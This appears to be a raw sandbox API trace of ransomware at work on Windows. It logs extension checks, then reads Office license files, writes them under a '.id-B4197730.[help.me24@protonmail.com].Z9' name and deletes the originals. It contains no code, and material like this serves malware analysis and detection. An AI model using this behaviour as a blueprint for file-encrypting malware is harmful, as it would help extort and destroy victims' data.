	[0184.956] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.956] lstrlenW (lpString=".pdf") returned 4
	[0184.956] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.956] lstrlenW (lpString=".xls") returned 4
	[0184.956] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.956] lstrlenW (lpString=".xlsx") returned 5
	[0184.956] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.956] lstrlenW (lpString=".ppt") returned 4
	[0184.956] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0184.956] lstrlenW (lpString=".zip") returned 4
	[0184.956] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.956] lstrlenW (lpString=".rar") returned 4
	[0184.956] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.956] lstrlenW (lpString=".bz2") returned 4
	[0184.956] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.956] lstrlenW (lpString=".7z") returned 3
	[0185.111] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0185.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0185.111] lstrlenW (lpString=".dbf") returned 4
	[0185.111] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0185.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0185.111] lstrlenW (lpString=".1cd") returned 4
	[0185.111] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0185.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0185.111] lstrlenW (lpString=".jpg") returned 4
	[0185.111] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0185.111] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0185.111] lstrlenW (lpString="MondoVL_MAK-ppd.xrm-ms") returned 22
	[0185.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0185.357] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=12414) returned 1
	[0185.357] CloseHandle (hObject=0x570) returned 1
	[0185.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms")) returned 0x220
	[0186.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0186.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0187.382] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.382] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0187.383] GetLastError () returned 0x0
	[0187.383] ReadFile (in: hFile=0x2a8, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x307e, lpOverlapped=0x0) returned 1
	[0187.399] WriteFile (in: hFile=0x2cc, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x3080, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x3080, lpOverlapped=0x0) returned 1
	[0187.401] ReadFile (in: hFile=0x2a8, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.401] WriteFile (in: hFile=0x2cc, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x100, lpOverlapped=0x0) returned 1
	[0187.401] SetEndOfFile (hFile=0x2cc) returned 1
	[0187.401] CloseHandle (hObject=0x2cc) returned 1
	[0187.401] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.401] SetEndOfFile (hFile=0x2a8) returned 1
	[0187.404] CloseHandle (hObject=0x2a8) returned 1
	[0187.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.405] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms")) returned 1
	[0187.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0187.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0187.406] lstrlenW (lpString=".doc") returned 4
	[0187.406] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.406] lstrlenW (lpString=".docx") returned 5
	[0187.406] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.406] lstrlenW (lpString=".pdf") returned 4
	[0187.406] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.406] lstrlenW (lpString=".xls") returned 4
	[0187.406] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.406] lstrlenW (lpString=".xlsx") returned 5
	[0187.406] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.406] lstrlenW (lpString=".ppt") returned 4
	[0187.406] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0187.407] lstrlenW (lpString=".zip") returned 4
	[0187.407] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.407] lstrlenW (lpString=".rar") returned 4
	[0187.407] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.407] lstrlenW (lpString=".bz2") returned 4
	[0187.407] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.407] lstrlenW (lpString=".7z") returned 3
	[0187.407] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0187.407] lstrlenW (lpString=".dbf") returned 4
	[0187.407] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0187.407] lstrlenW (lpString=".1cd") returned 4
	[0187.407] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0187.407] lstrlenW (lpString=".jpg") returned 4
	[0187.407] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0187.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0187.407] lstrlenW (lpString=".doc") returned 4
	[0187.407] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.407] lstrlenW (lpString=".docx") returned 5
	[0187.407] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.407] lstrlenW (lpString=".pdf") returned 4
	[0187.407] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.407] lstrlenW (lpString=".xls") returned 4
	[0187.407] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.407] lstrlenW (lpString=".xlsx") returned 5
	[0187.407] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.407] lstrlenW (lpString=".ppt") returned 4
	[0187.407] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0187.407] lstrlenW (lpString=".zip") returned 4
	[0187.407] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.408] lstrlenW (lpString=".rar") returned 4
	[0187.408] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.408] lstrlenW (lpString=".bz2") returned 4
	[0187.408] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.408] lstrlenW (lpString=".7z") returned 3
	[0187.408] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0187.408] lstrlenW (lpString=".dbf") returned 4
	[0187.408] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0187.408] lstrlenW (lpString=".1cd") returned 4
	[0187.408] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0187.408] lstrlenW (lpString=".jpg") returned 4
	[0187.408] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.408] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0187.408] lstrlenW (lpString="O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 42
	[0187.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0187.409] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=11219) returned 1
	[0187.409] CloseHandle (hObject=0x2a8) returned 1
	[0187.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms")) returned 0x220
	[0187.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0187.410] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.410] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0187.411] GetLastError () returned 0x0
	[0187.411] ReadFile (in: hFile=0x2a8, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2bd3, lpOverlapped=0x0) returned 1
	[0187.425] WriteFile (in: hFile=0x2cc, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2be0, lpOverlapped=0x0) returned 1
	[0187.426] ReadFile (in: hFile=0x2a8, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.426] WriteFile (in: hFile=0x2cc, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x128, lpOverlapped=0x0) returned 1
	[0187.426] SetEndOfFile (hFile=0x2cc) returned 1
	[0187.426] CloseHandle (hObject=0x2cc) returned 1
	[0187.427] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.427] SetEndOfFile (hFile=0x2a8) returned 1
	[0187.429] CloseHandle (hObject=0x2a8) returned 1
	[0187.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.633] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms")) returned 1
	[0187.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0187.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0187.634] lstrlenW (lpString=".doc") returned 4
	[0187.634] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.634] lstrlenW (lpString=".docx") returned 5
	[0187.634] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.634] lstrlenW (lpString=".pdf") returned 4
	[0187.634] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.634] lstrlenW (lpString=".xls") returned 4
	[0187.634] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.634] lstrlenW (lpString=".xlsx") returned 5
	[0187.634] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.634] lstrlenW (lpString=".ppt") returned 4
	[0187.634] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0187.634] lstrlenW (lpString=".zip") returned 4
	[0187.634] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.634] lstrlenW (lpString=".rar") returned 4
	[0187.634] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.634] lstrlenW (lpString=".bz2") returned 4
	[0187.634] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.634] lstrlenW (lpString=".7z") returned 3
	[0187.634] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0187.634] lstrlenW (lpString=".dbf") returned 4
	[0187.634] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0187.634] lstrlenW (lpString=".1cd") returned 4
	[0187.635] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0187.635] lstrlenW (lpString=".jpg") returned 4
	[0187.635] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0187.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0187.635] lstrlenW (lpString=".doc") returned 4
	[0187.635] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.635] lstrlenW (lpString=".docx") returned 5
	[0187.635] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.635] lstrlenW (lpString=".pdf") returned 4
	[0187.635] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.635] lstrlenW (lpString=".xls") returned 4
	[0187.635] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.635] lstrlenW (lpString=".xlsx") returned 5
	[0187.635] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.635] lstrlenW (lpString=".ppt") returned 4
	[0187.635] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0187.635] lstrlenW (lpString=".zip") returned 4
	[0187.635] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.635] lstrlenW (lpString=".rar") returned 4
	[0187.635] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.635] lstrlenW (lpString=".bz2") returned 4
	[0187.635] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.635] lstrlenW (lpString=".7z") returned 3
	[0187.635] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0187.635] lstrlenW (lpString=".dbf") returned 4
	[0187.635] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0187.635] lstrlenW (lpString=".1cd") returned 4
	[0187.635] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0187.636] lstrlenW (lpString=".jpg") returned 4
	[0187.636] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.636] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0187.636] lstrlenW (lpString="O365HomePremR_Grace-ppd.xrm-ms") returned 30
	[0187.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0187.637] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=23068) returned 1
	[0187.637] CloseHandle (hObject=0x540) returned 1
	[0187.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms")) returned 0x220
	[0187.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0187.637] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.638] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0187.639] GetLastError () returned 0x0
	[0187.639] ReadFile (in: hFile=0x540, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x5a1c, lpOverlapped=0x0) returned 1
	[0187.668] WriteFile (in: hFile=0x2a8, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x5a20, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x5a20, lpOverlapped=0x0) returned 1
	[0187.669] ReadFile (in: hFile=0x540, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.669] WriteFile (in: hFile=0x2a8, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x110, lpOverlapped=0x0) returned 1
	[0187.669] SetEndOfFile (hFile=0x2a8) returned 1
	[0187.669] CloseHandle (hObject=0x2a8) returned 1
	[0187.670] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.670] SetEndOfFile (hFile=0x540) returned 1
	[0187.673] CloseHandle (hObject=0x540) returned 1
	[0187.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms")) returned 1
	[0187.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0187.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0187.675] lstrlenW (lpString=".doc") returned 4
	[0187.675] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.675] lstrlenW (lpString=".docx") returned 5
	[0187.675] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.675] lstrlenW (lpString=".pdf") returned 4
	[0187.675] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.675] lstrlenW (lpString=".xls") returned 4
	[0187.675] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.675] lstrlenW (lpString=".xlsx") returned 5
	[0187.675] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.675] lstrlenW (lpString=".ppt") returned 4
	[0187.675] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0187.675] lstrlenW (lpString=".zip") returned 4
	[0187.675] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.675] lstrlenW (lpString=".rar") returned 4
	[0187.675] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.675] lstrlenW (lpString=".bz2") returned 4
	[0187.675] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.675] lstrlenW (lpString=".7z") returned 3
	[0187.675] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0187.675] lstrlenW (lpString=".dbf") returned 4
